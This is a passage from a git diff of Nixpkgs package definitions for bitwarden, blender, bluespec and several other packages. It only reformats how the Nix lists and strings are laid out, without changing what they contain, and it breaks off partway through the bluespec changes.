     wrapProgram $out/bin/bite \
diff --git a/pkgs/by-name/bi/bitwarden-cli/package.nix b/pkgs/by-name/bi/bitwarden-cli/package.nix
index ec936f6a3a8b..cefd69f51428 100644
--- a/pkgs/by-name/bi/bitwarden-cli/package.nix
+++ b/pkgs/by-name/bi/bitwarden-cli/package.nix
@@ -74,16 +74,15 @@ buildNpmPackage rec {
     shopt -u globstar
   '';
 
-  postInstall =
-    ''
-      # The @bitwarden modules are actually npm workspaces inside the source tree, which
-      # leave dangling symlinks behind. They can be safely removed, because their source is
-      # bundled via webpack and thus not needed at run-time.
-      rm -rf $out/lib/node_modules/@bitwarden/clients/node_modules/{@bitwarden,.bin}
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd bw --zsh <($out/bin/bw completion --shell zsh)
-    '';
+  postInstall = ''
+    # The @bitwarden modules are actually npm workspaces inside the source tree, which
+    # leave dangling symlinks behind. They can be safely removed, because their source is
+    # bundled via webpack and thus not needed at run-time.
+    rm -rf $out/lib/node_modules/@bitwarden/clients/node_modules/{@bitwarden,.bin}
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd bw --zsh <($out/bin/bw completion --shell zsh)
+  '';
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/bi/bitwarden-desktop/package.nix b/pkgs/by-name/bi/bitwarden-desktop/package.nix
index 42652ea47797..791df3575671 100644
--- a/pkgs/by-name/bi/bitwarden-desktop/package.nix
+++ b/pkgs/by-name/bi/bitwarden-desktop/package.nix
@@ -101,24 +101,23 @@ buildNpmPackage' rec {
   # make electron-builder not attempt to codesign the app on darwin
   env.CSC_IDENTITY_AUTO_DISCOVERY = "false";
 
-  nativeBuildInputs =
-    [
-      cargo
-      jq
-      makeWrapper
-      napi-rs-cli
-      pkg-config
-      rustc
-      rustPlatform.cargoCheckHook
-      rustPlatform.cargoSetupHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      copyDesktopItems
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild
-      darwin.autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    cargo
+    jq
+    makeWrapper
+    napi-rs-cli
+    pkg-config
+    rustc
+    rustPlatform.cargoCheckHook
+    rustPlatform.cargoSetupHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    copyDesktopItems
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild
+    darwin.autoSignDarwinBinariesHook
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
     apple-sdk_14
@@ -157,13 +156,12 @@ buildNpmPackage' rec {
     (gnome-keyring.override { useWrappedDaemon = false; })
   ];
 
-  checkFlags =
-    [
-      "--skip=password::password::tests::test"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--skip=clipboard::tests::test_write_read"
-    ];
+  checkFlags = [
+    "--skip=password::password::tests::test"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--skip=clipboard::tests::test_write_read"
+  ];
 
   preCheck = ''
     pushd ${cargoRoot}
@@ -175,43 +173,42 @@ buildNpmPackage' rec {
     popd
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      cp -r apps/desktop/dist/mac*/Bitwarden.app $out/Applications
-      makeWrapper $out/Applications/Bitwarden.app/Contents/MacOS/Bitwarden $out/bin/bitwarden
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mkdir -p $out/opt/Bitwarden
-      cp -r apps/desktop/dist/linux-*unpacked/{locales,resources{,.pak}} $out/opt/Bitwarden
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    cp -r apps/desktop/dist/mac*/Bitwarden.app $out/Applications
+    makeWrapper $out/Applications/Bitwarden.app/Contents/MacOS/Bitwarden $out/bin/bitwarden
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mkdir -p $out/opt/Bitwarden
+    cp -r apps/desktop/dist/linux-*unpacked/{locales,resources{,.pak}} $out/opt/Bitwarden
 
-      makeWrapper '${lib.getExe electron}' "$out/bin/bitwarden" \
-        --add-flags $out/opt/Bitwarden/resources/app.asar \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-        --set-default ELECTRON_IS_DEV 0 \
-        --inherit-argv0
+    makeWrapper '${lib.getExe electron}' "$out/bin/bitwarden" \
+      --add-flags $out/opt/Bitwarden/resources/app.asar \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+      --set-default ELECTRON_IS_DEV 0 \
+      --inherit-argv0
 
-      # Extract the polkit policy file from the multiline string in the source code.
-      # This may break in the future but its better than copy-pasting it manually.
-      mkdir -p $out/share/polkit-1/actions/
-      pushd apps/desktop/src/key-management/biometrics
-      awk '/const polkitPolicy = `/{gsub(/^.*`/, ""); print; str=1; next} str{if (/`;/) str=0; gsub(/`;/, ""); print}' os-biometrics-linux.service.ts > $out/share/polkit-1/actions/com.bitwarden.Bitwarden.policy
-      popd
+    # Extract the polkit policy file from the multiline string in the source code.
+    # This may break in the future but its better than copy-pasting it manually.
+    mkdir -p $out/share/polkit-1/actions/
+    pushd apps/desktop/src/key-management/biometrics
+    awk '/const polkitPolicy = `/{gsub(/^.*`/, ""); print; str=1; next} str{if (/`;/) str=0; gsub(/`;/, ""); print}' os-biometrics-linux.service.ts > $out/share/polkit-1/actions/com.bitwarden.Bitwarden.policy
+    popd
 
-      pushd apps/desktop/resources/icons
-      for icon in *.png; do
-        dir=$out/share/icons/hicolor/"''${icon%.png}"/apps
-        mkdir -p "$dir"
-        cp "$icon" "$dir"/${icon}.png
-      done
-      popd
-    ''
-    + ''
-      runHook postInstall
-    '';
+    pushd apps/desktop/resources/icons
+    for icon in *.png; do
+      dir=$out/share/icons/hicolor/"''${icon%.png}"/apps
+      mkdir -p "$dir"
+      cp "$icon" "$dir"/${icon}.png
+    done
+    popd
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/bl/blackbox-terminal/package.nix b/pkgs/by-name/bl/blackbox-terminal/package.nix
index 23bb6bb4bde5..d3614e0c4165 100644
--- a/pkgs/by-name/bl/blackbox-terminal/package.nix
+++ b/pkgs/by-name/bl/blackbox-terminal/package.nix
@@ -84,11 +84,9 @@ stdenv.mkDerivation rec {
           hash = "sha256-vz9ircmPy2Q4fxNnjurkgJtuTSS49rBq/m61p1B43eU=";
         };
         patches = lib.optional (old ? patches) (lib.head old.patches);
-        postPatch =
-          (old.postPatch or "")
-          + ''
-            patchShebangs src/box_drawing_generate.sh
-          '';
+        postPatch = (old.postPatch or "") + ''
+          patchShebangs src/box_drawing_generate.sh
+        '';
       }
       // lib.optionalAttrs sixelSupport {
         buildInputs = old.buildInputs ++ [ libsixel ];
diff --git a/pkgs/by-name/bl/blahtexml/package.nix b/pkgs/by-name/bl/blahtexml/package.nix
index bc451c32034e..2053eb68790e 100644
--- a/pkgs/by-name/bl/blahtexml/package.nix
+++ b/pkgs/by-name/bl/blahtexml/package.nix
@@ -24,11 +24,11 @@ stdenv.mkDerivation rec {
         --replace "\$(CXX)" "\$(CXX) -std=c++98"
     ''
     +
-      # fix the doc build on TeX Live 2023
-      ''
-        substituteInPlace Documentation/manual.tex \
-          --replace '\usepackage[utf8x]{inputenc}' '\usepackage[utf8]{inputenc}'
-      '';
+    # fix the doc build on TeX Live 2023
+    ''
+      substituteInPlace Documentation/manual.tex \
+        --replace '\usepackage[utf8x]{inputenc}' '\usepackage[utf8]{inputenc}'
+    '';
 
   outputs = [
     "out"
@@ -38,20 +38,21 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [ texliveFull ]; # scheme-full needed for ucs package
   buildInputs = [ xercesc ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
-  buildFlags =
-    [ "doc" ]
-    ++ (
-      if stdenv.hostPlatform.isDarwin then
-        [
-          "blahtex-mac"
-          "blahtexml-mac"
-        ]
-      else
-        [
-          "blahtex-linux"
-          "blahtexml-linux"
-        ]
-    );
+  buildFlags = [
+    "doc"
+  ]
+  ++ (
+    if stdenv.hostPlatform.isDarwin then
+      [
+        "blahtex-mac"
+        "blahtexml-mac"
+      ]
+    else
+      [
+        "blahtex-linux"
+        "blahtexml-linux"
+      ]
+  );
 
   installPhase = ''
     install -D -t "$out/bin" blahtex blahtexml
diff --git a/pkgs/by-name/bl/bleep/package.nix b/pkgs/by-name/bl/bleep/package.nix
index 469f43f6a195..e6a722fc185a 100644
--- a/pkgs/by-name/bl/bleep/package.nix
+++ b/pkgs/by-name/bl/bleep/package.nix
@@ -36,7 +36,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     installShellFiles
     makeWrapper
-  ] ++ lib.optional stdenvNoCC.hostPlatform.isLinux autoPatchelfHook;
+  ]
+  ++ lib.optional stdenvNoCC.hostPlatform.isLinux autoPatchelfHook;
 
   buildInputs = [ zlib ];
 
diff --git a/pkgs/by-name/bl/blender/package.nix b/pkgs/by-name/bl/blender/package.nix
index bd3a2e09f4f7..f75028b5f3d5 100644
--- a/pkgs/by-name/bl/blender/package.nix
+++ b/pkgs/by-name/bl/blender/package.nix
@@ -140,65 +140,64 @@ stdenv'.mkDerivation (finalAttrs: {
 
   env.NIX_CFLAGS_COMPILE = "-I${python3}/include/${python3.libPrefix}";
 
-  cmakeFlags =
-    [
-      "-DMaterialX_DIR=${python3Packages.materialx}/lib/cmake/MaterialX"
-      "-DPYTHON_INCLUDE_DIR=${python3}/include/${python3.libPrefix}"
-      "-DPYTHON_LIBPATH=${python3}/lib"
-      "-DPYTHON_LIBRARY=${python3.libPrefix}"
-      "-DPYTHON_NUMPY_INCLUDE_DIRS=${python3Packages.numpy_1}/${python3.sitePackages}/numpy/core/include"
-      "-DPYTHON_NUMPY_PATH=${python3Packages.numpy_1}/${python3.sitePackages}"
-      "-DPYTHON_VERSION=${python3.pythonVersion}"
-      "-DWITH_ALEMBIC=ON"
-      "-DWITH_ASSERT_ABORT=OFF"
-      "-DWITH_BUILDINFO=OFF"
-      "-DWITH_CODEC_FFMPEG=ON"
-      "-DWITH_CODEC_SNDFILE=ON"
-      "-DWITH_CPU_CHECK=OFF"
-      "-DWITH_CYCLES_DEVICE_OPTIX=${if cudaSupport then "ON" else "OFF"}"
-      "-DWITH_CYCLES_EMBREE=${if embreeSupport then "ON" else "OFF"}"
-      "-DWITH_CYCLES_OSL=OFF"
-      "-DWITH_FFTW3=ON"
-      "-DWITH_HYDRA=${if openUsdSupport then "ON" else "OFF"}"
-      "-DWITH_IMAGE_OPENJPEG=ON"
-      "-DWITH_INSTALL_PORTABLE=OFF"
-      "-DWITH_JACK=${if jackaudioSupport then "ON" else "OFF"}"
-      "-DWITH_LIBS_PRECOMPILED=OFF"
-      "-DWITH_MOD_OCEANSIM=ON"
-      "-DWITH_OPENCOLLADA=${if colladaSupport then "ON" else "OFF"}"
-      "-DWITH_OPENCOLORIO=ON"
-      "-DWITH_OPENIMAGEDENOISE=${if openImageDenoiseSupport then "ON" else "OFF"}"
-      "-DWITH_OPENSUBDIV=ON"
-      "-DWITH_OPENVDB=ON"
-      "-DWITH_PIPEWIRE=OFF"
-      "-DWITH_PULSEAUDIO=OFF"
-      "-DWITH_PYTHON_INSTALL=OFF"
-      "-DWITH_PYTHON_INSTALL_NUMPY=OFF"
-      "-DWITH_PYTHON_INSTALL_REQUESTS=OFF"
-      "-DWITH_SDL=OFF"
-      "-DWITH_STRICT_BUILD_OPTIONS=ON"
-      "-DWITH_TBB=ON"
-      "-DWITH_USD=${if openUsdSupport then "ON" else "OFF"}"
+  cmakeFlags = [
+    "-DMaterialX_DIR=${python3Packages.materialx}/lib/cmake/MaterialX"
+    "-DPYTHON_INCLUDE_DIR=${python3}/include/${python3.libPrefix}"
+    "-DPYTHON_LIBPATH=${python3}/lib"
+    "-DPYTHON_LIBRARY=${python3.libPrefix}"
+    "-DPYTHON_NUMPY_INCLUDE_DIRS=${python3Packages.numpy_1}/${python3.sitePackages}/numpy/core/include"
+    "-DPYTHON_NUMPY_PATH=${python3Packages.numpy_1}/${python3.sitePackages}"
+    "-DPYTHON_VERSION=${python3.pythonVersion}"
+    "-DWITH_ALEMBIC=ON"
+    "-DWITH_ASSERT_ABORT=OFF"
+    "-DWITH_BUILDINFO=OFF"
+    "-DWITH_CODEC_FFMPEG=ON"
+    "-DWITH_CODEC_SNDFILE=ON"
+    "-DWITH_CPU_CHECK=OFF"
+    "-DWITH_CYCLES_DEVICE_OPTIX=${if cudaSupport then "ON" else "OFF"}"
+    "-DWITH_CYCLES_EMBREE=${if embreeSupport then "ON" else "OFF"}"
+    "-DWITH_CYCLES_OSL=OFF"
+    "-DWITH_FFTW3=ON"
+    "-DWITH_HYDRA=${if openUsdSupport then "ON" else "OFF"}"
+    "-DWITH_IMAGE_OPENJPEG=ON"
+    "-DWITH_INSTALL_PORTABLE=OFF"
+    "-DWITH_JACK=${if jackaudioSupport then "ON" else "OFF"}"
+    "-DWITH_LIBS_PRECOMPILED=OFF"
+    "-DWITH_MOD_OCEANSIM=ON"
+    "-DWITH_OPENCOLLADA=${if colladaSupport then "ON" else "OFF"}"
+    "-DWITH_OPENCOLORIO=ON"
+    "-DWITH_OPENIMAGEDENOISE=${if openImageDenoiseSupport then "ON" else "OFF"}"
+    "-DWITH_OPENSUBDIV=ON"
+    "-DWITH_OPENVDB=ON"
+    "-DWITH_PIPEWIRE=OFF"
+    "-DWITH_PULSEAUDIO=OFF"
+    "-DWITH_PYTHON_INSTALL=OFF"
+    "-DWITH_PYTHON_INSTALL_NUMPY=OFF"
+    "-DWITH_PYTHON_INSTALL_REQUESTS=OFF"
+    "-DWITH_SDL=OFF"
+    "-DWITH_STRICT_BUILD_OPTIONS=ON"
+    "-DWITH_TBB=ON"
+    "-DWITH_USD=${if openUsdSupport then "ON" else "OFF"}"
 
-      # Blender supplies its own FindAlembic.cmake (incompatible with the Alembic-supplied config file)
-      "-DALEMBIC_INCLUDE_DIR=${lib.getDev alembic}/include"
-      "-DALEMBIC_LIBRARY=${lib.getLib alembic}/lib/libAlembic${stdenv.hostPlatform.extensions.sharedLibrary}"
-    ]
-    ++ lib.optionals waylandSupport [
-      "-DWITH_GHOST_WAYLAND=ON"
-      "-DWITH_GHOST_WAYLAND_DBUS=ON"
-      "-DWITH_GHOST_WAYLAND_DYNLOAD=OFF"
-      "-DWITH_GHOST_WAYLAND_LIBDECOR=ON"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DLIBDIR=/does-not-exist"
-      "-DSSE2NEON_INCLUDE_DIR=${sse2neon}/lib"
-    ]
-    ++ lib.optional stdenv.cc.isClang "-DPYTHON_LINKFLAGS=" # Clang doesn't support "-export-dynamic"
-    ++ lib.optionals cudaSupport [
-      "-DOPTIX_ROOT_DIR=${optix}"
-      "-DWITH_CYCLES_CUDA_BINARIES=ON"
-    ];
+    # Blender supplies its own FindAlembic.cmake (incompatible with the Alembic-supplied config file)
+    "-DALEMBIC_INCLUDE_DIR=${lib.getDev alembic}/include"
+    "-DALEMBIC_LIBRARY=${lib.getLib alembic}/lib/libAlembic${stdenv.hostPlatform.extensions.sharedLibrary}"
+  ]
+  ++ lib.optionals waylandSupport [
+    "-DWITH_GHOST_WAYLAND=ON"
+    "-DWITH_GHOST_WAYLAND_DBUS=ON"
+    "-DWITH_GHOST_WAYLAND_DYNLOAD=OFF"
+    "-DWITH_GHOST_WAYLAND_LIBDECOR=ON"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DLIBDIR=/does-not-exist"
+    "-DSSE2NEON_INCLUDE_DIR=${sse2neon}/lib"
+  ]
+  ++ lib.optional stdenv.cc.isClang "-DPYTHON_LINKFLAGS=" # Clang doesn't support "-export-dynamic"
+  ++ lib.optionals cudaSupport [
+    "-DOPTIX_ROOT_DIR=${optix}"
+    "-DWITH_CYCLES_CUDA_BINARIES=ON"
+  ];
 
   preConfigure = ''
     (
@@ -211,101 +210,99 @@ stdenv'.mkDerivation (finalAttrs: {
     )
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      llvmPackages.llvm.dev
-      makeWrapper
-      python3Packages.wrapPython
-    ]
-    ++ lib.optionals cudaSupport [
-      addDriverRunpath
-      cudaPackages.cuda_nvcc
-    ]
-    ++ lib.optionals waylandSupport [
-      pkg-config
-      wayland-scanner
-    ];
+  nativeBuildInputs = [
+    cmake
+    llvmPackages.llvm.dev
+    makeWrapper
+    python3Packages.wrapPython
+  ]
+  ++ lib.optionals cudaSupport [
+    addDriverRunpath
+    cudaPackages.cuda_nvcc
+  ]
+  ++ lib.optionals waylandSupport [
+    pkg-config
+    wayland-scanner
+  ];
 
-  buildInputs =
-    [
-      alembic
-      boost
-      ffmpeg
-      fftw
-      fftwFloat
-      freetype
-      gettext
-      glew
-      gmp
-      jemalloc
-      libepoxy
-      libharu
-      libjpeg
-      libpng
-      libsamplerate
-      libsndfile
-      libtiff
-      libwebp
-      opencolorio
-      openexr
-      openimageio_2
-      openjpeg
-      openpgl
-      (opensubdiv.override { inherit cudaSupport; })
-      openvdb
-      potrace
-      pugixml
-      python3
-      python3Packages.materialx
-      tbb
-      zlib
-      zstd
-    ]
-    ++ lib.optional embreeSupport embree
-    ++ lib.optional openImageDenoiseSupport (openimagedenoise.override { inherit cudaSupport; })
-    ++ (
-      if (!stdenv.hostPlatform.isDarwin) then
-        [
-          libGL
-          libGLU
-          libX11
-          libXext
-          libXi
-          libXrender
-          libXxf86vm
-          openal
-          openxr-loader
-        ]
-      else
-        [
-          SDL
-          # blender chooses Metal features based on runtime system version
-          # lets use the latest SDK and let Blender handle falling back on older systems.
-          apple-sdk_15
-          brotli
-          llvmPackages.openmp
-          sse2neon
-        ]
-    )
-    ++ lib.optionals cudaSupport [ cudaPackages.cuda_cudart ]
-    ++ lib.optionals openUsdSupport [ pyPkgsOpenusd ]
-    ++ lib.optionals waylandSupport [
-      dbus
-      libdecor'
-      libffi
-      libxkbcommon
-      wayland
-      wayland-protocols
-    ]
-    ++ lib.optional colladaSupport opencollada-blender
-    ++ lib.optional jackaudioSupport libjack2
-    ++ lib.optional spaceNavSupport libspnav
-    ++ lib.optionals vulkanSupport [
-      shaderc
-      vulkan-headers
-      vulkan-loader
-    ];
+  buildInputs = [
+    alembic
+    boost
+    ffmpeg
+    fftw
+    fftwFloat
+    freetype
+    gettext
+    glew
+    gmp
+    jemalloc
+    libepoxy
+    libharu
+    libjpeg
+    libpng
+    libsamplerate
+    libsndfile
+    libtiff
+    libwebp
+    opencolorio
+    openexr
+    openimageio_2
+    openjpeg
+    openpgl
+    (opensubdiv.override { inherit cudaSupport; })
+    openvdb
+    potrace
+    pugixml
+    python3
+    python3Packages.materialx
+    tbb
+    zlib
+    zstd
+  ]
+  ++ lib.optional embreeSupport embree
+  ++ lib.optional openImageDenoiseSupport (openimagedenoise.override { inherit cudaSupport; })
+  ++ (
+    if (!stdenv.hostPlatform.isDarwin) then
+      [
+        libGL
+        libGLU
+        libX11
+        libXext
+        libXi
+        libXrender
+        libXxf86vm
+        openal
+        openxr-loader
+      ]
+    else
+      [
+        SDL
+        # blender chooses Metal features based on runtime system version
+        # lets use the latest SDK and let Blender handle falling back on older systems.
+        apple-sdk_15
+        brotli
+        llvmPackages.openmp
+        sse2neon
+      ]
+  )
+  ++ lib.optionals cudaSupport [ cudaPackages.cuda_cudart ]
+  ++ lib.optionals openUsdSupport [ pyPkgsOpenusd ]
+  ++ lib.optionals waylandSupport [
+    dbus
+    libdecor'
+    libffi
+    libxkbcommon
+    wayland
+    wayland-protocols
+  ]
+  ++ lib.optional colladaSupport opencollada-blender
+  ++ lib.optional jackaudioSupport libjack2
+  ++ lib.optional spaceNavSupport libspnav
+  ++ lib.optionals vulkanSupport [
+    shaderc
+    vulkan-headers
+    vulkan-loader
+  ];
 
   pythonPath =
     let
diff --git a/pkgs/by-name/bl/blendfarm/package.nix b/pkgs/by-name/bl/blendfarm/package.nix
index ca4e9e144231..4e634f6fe980 100644
--- a/pkgs/by-name/bl/blendfarm/package.nix
+++ b/pkgs/by-name/bl/blendfarm/package.nix
@@ -90,7 +90,8 @@ buildDotnetModule rec {
     libgdiplus
     glib
     libXrandr
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ blender ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ blender ];
 
   # there is no "*.so.3" or "*.so.5" in nixpkgs. So ignore the warning
   # and add it later
diff --git a/pkgs/by-name/bl/blis/package.nix b/pkgs/by-name/bl/blis/package.nix
index 4e69653da83b..3ae4d3786b0a 100644
--- a/pkgs/by-name/bl/blis/package.nix
+++ b/pkgs/by-name/bl/blis/package.nix
@@ -40,13 +40,12 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--enable-cblas"
-      "--blas-int-size=${blasIntSize}"
-    ]
-    ++ lib.optionals withOpenMP [ "--enable-threading=openmp" ]
-    ++ [ withArchitecture ];
+  configureFlags = [
+    "--enable-cblas"
+    "--blas-int-size=${blasIntSize}"
+  ]
+  ++ lib.optionals withOpenMP [ "--enable-threading=openmp" ]
+  ++ [ withArchitecture ];
 
   postPatch = ''
     patchShebangs configure build/flatten-headers.py
diff --git a/pkgs/by-name/bl/blobdrop/package.nix b/pkgs/by-name/bl/blobdrop/package.nix
index d067deb18c72..78a470b814e2 100644
--- a/pkgs/by-name/bl/blobdrop/package.nix
+++ b/pkgs/by-name/bl/blobdrop/package.nix
@@ -20,23 +20,21 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      qt6.wrapQtAppsHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    cmake
+    qt6.wrapQtAppsHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pkg-config
+  ];
 
-  buildInputs =
-    [
-      qt6.qtdeclarative
-      qt6.qtsvg
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qt6.qtwayland
-    ];
+  buildInputs = [
+    qt6.qtdeclarative
+    qt6.qtsvg
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qt6.qtwayland
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_TESTING" finalAttrs.finalPackage.doCheck)
diff --git a/pkgs/by-name/bl/blockbench/package.nix b/pkgs/by-name/bl/blockbench/package.nix
index 6c6f6ba67283..ee7df8d8e1f1 100644
--- a/pkgs/by-name/bl/blockbench/package.nix
+++ b/pkgs/by-name/bl/blockbench/package.nix
@@ -21,12 +21,13 @@ buildNpmPackage rec {
     hash = "sha256-tg2ICxliTmahO3twKgC4LSVyiX9K2jfA7lCcSCkzcbQ=";
   };
 
-  nativeBuildInputs =
-    [ makeWrapper ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      imagemagick # for icon resizing
-      copyDesktopItems
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    imagemagick # for icon resizing
+    copyDesktopItems
+  ];
 
   npmDepsHash = "sha256-a5OjCVHPeaBEYTFIUOnc9We677oCGwAvwMv8f1QRk9Q=";
 
diff --git a/pkgs/by-name/bl/bloop/package.nix b/pkgs/by-name/bl/bloop/package.nix
index ab2b5897d490..59e3e0d77af5 100644
--- a/pkgs/by-name/bl/bloop/package.nix
+++ b/pkgs/by-name/bl/bloop/package.nix
@@ -55,7 +55,8 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     installShellFiles
     makeWrapper
-  ] ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux autoPatchelfHook;
   buildInputs = [
     (lib.getLib stdenv.cc.cc)
     zlib
diff --git a/pkgs/by-name/bl/blueman/package.nix b/pkgs/by-name/bl/blueman/package.nix
index 7a090a02da59..c1ec3f4e8002 100644
--- a/pkgs/by-name/bl/blueman/package.nix
+++ b/pkgs/by-name/bl/blueman/package.nix
@@ -45,18 +45,17 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      bluez
-      gtk3
-      pythonPackages.python
-      librsvg
-      adwaita-icon-theme
-      networkmanager
-      procps
-    ]
-    ++ pythonPath
-    ++ lib.optional withPulseAudio libpulseaudio;
+  buildInputs = [
+    bluez
+    gtk3
+    pythonPackages.python
+    librsvg
+    adwaita-icon-theme
+    networkmanager
+    procps
+  ]
+  ++ pythonPath
+  ++ lib.optional withPulseAudio libpulseaudio;
 
   postPatch = lib.optionalString withPulseAudio ''
     sed -i 's,CDLL(",CDLL("${libpulseaudio.out}/lib/,g' blueman/main/PulseAudioUtils.py
diff --git a/pkgs/by-name/bl/bluespec/package.nix b/pkgs/by-name/bl/bluespec/package.nix
index 5f9fd46c3aa0..2064ea2e70ce 100644
--- a/pkgs/by-name/bl/bluespec/package.nix
+++ b/pkgs/by-name/bl/bluespec/package.nix
@@ -71,13 +71,12 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals withDocs [
-      "doc"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals withDocs [
+    "doc"
+  ];
 
   # https://github.com/B-Lang-org/bsc/pull/278 is still applicable, but will probably not be applied as such
   # there is work ongoing: https://github.com/B-Lang-org/bsc/issues/595 https://github.com/B-Lang-org/bsc/pull/600
@@ -88,54 +87,53 @@ stdenv.mkDerivation rec {
     chmod -R +rwX $sourceRoot/src/vendor/yices/v2.6/yices2
   '';
 
-  postPatch =
-    ''
-      patchShebangs \
-        src/vendor/stp/src/AST/genkinds.pl \
-        src/Verilog/copy_module.pl \
-        src/comp/update-build-version.sh \
-        src/comp/update-build-system.sh \
-        src/comp/wrapper.sh
+  postPatch = ''
+    patchShebangs \
+      src/vendor/stp/src/AST/genkinds.pl \
+      src/Verilog/copy_module.pl \
+      src/comp/update-build-version.sh \
+      src/comp/update-build-system.sh \
+      src/comp/wrapper.sh
 
-      substituteInPlace src/comp/Makefile \
-        --replace-fail 'install-bsc install-bluetcl' 'install-bsc install-bluetcl $(UTILEXES) $(SHOWRULESEXES) install-utils install-showrules'
+    substituteInPlace src/comp/Makefile \
+      --replace-fail 'install-bsc install-bluetcl' 'install-bsc install-bluetcl $(UTILEXES) $(SHOWRULESEXES) install-utils install-showrules'
 
-      # For darwin
-      # ld: library not found for -ltcl8.5
-      substituteInPlace ./platform.sh \
-        --replace-fail 'TCLSH=/usr/bin/tclsh' 'TCLSH=`which tclsh`'
-    ''
-    + lib.optionalString withSuiteCheck ''
-      substituteInPlace testsuite/bsc.options/verilog-e/verilog-e.exp \
-        --replace-fail "/bin/echo" "${lib.getExe' buildPackages.coreutils "echo"}"
+    # For darwin
+    # ld: library not found for -ltcl8.5
+    substituteInPlace ./platform.sh \
+      --replace-fail 'TCLSH=/usr/bin/tclsh' 'TCLSH=`which tclsh`'
+  ''
+  + lib.optionalString withSuiteCheck ''
+    substituteInPlace testsuite/bsc.options/verilog-e/verilog-e.exp \
+      --replace-fail "/bin/echo" "${lib.getExe' buildPackages.coreutils "echo"}"
 
-      substituteInPlace testsuite/test_list.sh testsuite/findfailures.csh \
-        --replace-fail "bin/csh" "${lib.getExe buildPackages.tcsh}"
+    substituteInPlace testsuite/test_list.sh testsuite/findfailures.csh \
+      --replace-fail "bin/csh" "${lib.getExe buildPackages.tcsh}"
 
-      patchShebangs \
-        testsuite/test_list.sh \
-        testsuite/findfailures.csh \
-        scripts/tool-find.sh \
-        testsuite/bsc.bluetcl/packages/expandPorts/compareOutput.pl \
-        testsuite/bsc.bsv_examples/AES/funcit.pl \
-        testsuite/bsc.bsv_examples/AES/makeVecs.pl \
-        testsuite/bsc.bsv_examples/AES/makeVecs192.pl \
-        testsuite/bsc.bsv_examples/AES/makeVecs256.pl \
-        testsuite/bsc.if/split/canonicalize.pl \
-        testsuite/bsc.interra/operators/Arith/generate/gen.pl \
-        testsuite/bsc.interra/operators/Arith/generate/sort.pl \
-        testsuite/bsc.interra/operators/BitSel/generate/gen.pl \
-        testsuite/bsc.interra/operators/BitSel/generate/sort.pl \
-        testsuite/bsc.interra/operators/Logic/generate/gen.pl \
-        testsuite/bsc.interra/operators/Logic/generate/sort.pl \
-        testsuite/bsc.preprocessor/ifdef/iftestcase-perl.pl \
-        testsuite/bsc.verilog/filter/basicinout.pl \
-        testsuite/scripts/collapse.pl \
-        testsuite/scripts/double-directory.pl \
-        testsuite/scripts/process-summary-file.pl \
-        testsuite/scripts/sort-by-time.pl \
-        testsuite/scripts/times-by-directory.pl
-    '';
+    patchShebangs \
+      testsuite/test_list.sh \
+      testsuite/findfailures.csh \
+      scripts/tool-find.sh \
+      testsuite/bsc.bluetcl/packages/expandPorts/compareOutput.pl \
+      testsuite/bsc.bsv_examples/AES/funcit.pl \
